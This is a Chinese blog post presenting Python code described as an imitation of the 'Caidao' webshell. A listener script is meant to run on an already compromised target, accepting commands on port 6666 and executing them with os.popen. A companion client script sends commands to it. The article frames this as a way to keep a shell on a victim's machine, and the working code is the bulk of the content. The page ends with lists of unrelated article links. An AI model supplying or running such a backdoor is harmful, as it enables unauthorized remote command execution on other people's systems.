python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python 2.7.x 和 3.x 版本的重要区别小结
Nov 28 Python
Python实现比较两个文件夹中代码变化的方法
Jul 10 Python
利用Python暴力破解zip文件口令的方法详解
Dec 21 Python
python的dataframe转换为多维矩阵的方法
Apr 11 Python
python-str,list,set间的转换实例
Jun 27 Python
Appium Python自动化测试之环境搭建的步骤
Jan 23 Python
详解Python3网络爬虫(二):利用urllib.urlopen向有道翻译发送数据获得翻译结果
May 07 Python
Python使用requests模块爬取百度翻译
Aug 25 Python
实现Python3数组旋转的3种算法实例
Sep 16 Python
python爬虫多次请求超时的几种重试方法(6种)
Dec 01 Python
Python爬虫+tkinter界面实现历史天气查询的思路详解
Feb 22 Python
Python 可迭代对象 iterable的具体使用
Aug 07 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
虫族 Zerg 历史背景
2020/03/14 星际争霸
PHP利用COM对象访问SQLServer、Access
2006/10/09 PHP
php防注
2007/01/15 PHP
PHP生成HTML静态页面实例代码
2008/08/31 PHP
php实现单链表的实例代码
2013/03/22 PHP
php中静态类与静态变量用法的区别分析
2015/01/15 PHP
Laravel 中获取上一篇和下一篇数据
2015/07/27 PHP
laravel自定义分页的实现案例offset()和limit()
2019/10/15 PHP
Jquery 表单取值赋值的一些基本操作
2009/10/11 Javascript
Jquery 滑入滑出效果实现代码
2010/03/27 Javascript
IE6,IE7下js动态加载图片不显示错误
2010/07/17 Javascript
给页面渲染时间加速 干掉Dom Level 0 Event
2012/12/19 Javascript
JS判断字符串长度的5个方法(区分中文和英文)
2014/03/18 Javascript
JavaScript编程的10个实用小技巧
2014/04/18 Javascript
简单的js图片轮换代码(js图片轮播)
2014/05/06 Javascript
详谈javascript精度问题与调整
2017/07/08 Javascript
浅谈webpack对样式的处理
2018/01/05 Javascript
解决layui数据表格排序图标被超出的表头挤出去的问题
2019/09/19 Javascript
Vue防止白屏添加首屏动画的实例
2019/10/31 Javascript
VSCode 添加自定义注释的方法(附带红色警戒经典注释风格)
2020/08/27 Javascript
python获取糗百图片代码实例
2013/12/18 Python
python使用os模块的os.walk遍历文件夹示例
2014/01/27 Python
Python单链表的简单实现方法
2014/09/23 Python
详解Python中的Numpy、SciPy、MatPlotLib安装与配置
2017/11/17 Python
Python2/3中urllib库的一些常见用法
2017/12/19 Python
python替换字符串中的子串图文步骤
2019/06/19 Python
详解用python -m http.server搭一个简易的本地局域网
2020/09/24 Python
澳大利亚便宜的家庭购物网站:CrazySales
2018/02/06 全球购物
支教自我鉴定
2014/01/18 职场文书
庆祝教师节活动方案
2014/01/31 职场文书
邻里守望志愿服务活动方案
2014/08/15 职场文书
三问三解心得体会
2014/09/05 职场文书
小学生自我评价100字(15篇)
2014/09/18 职场文书
离婚协议书标准格式
2014/10/04 职场文书
体育个人工作总结
2015/02/09 职场文书
使用 Docker Compose 构建复杂的多容器App
2022/04/30 Servers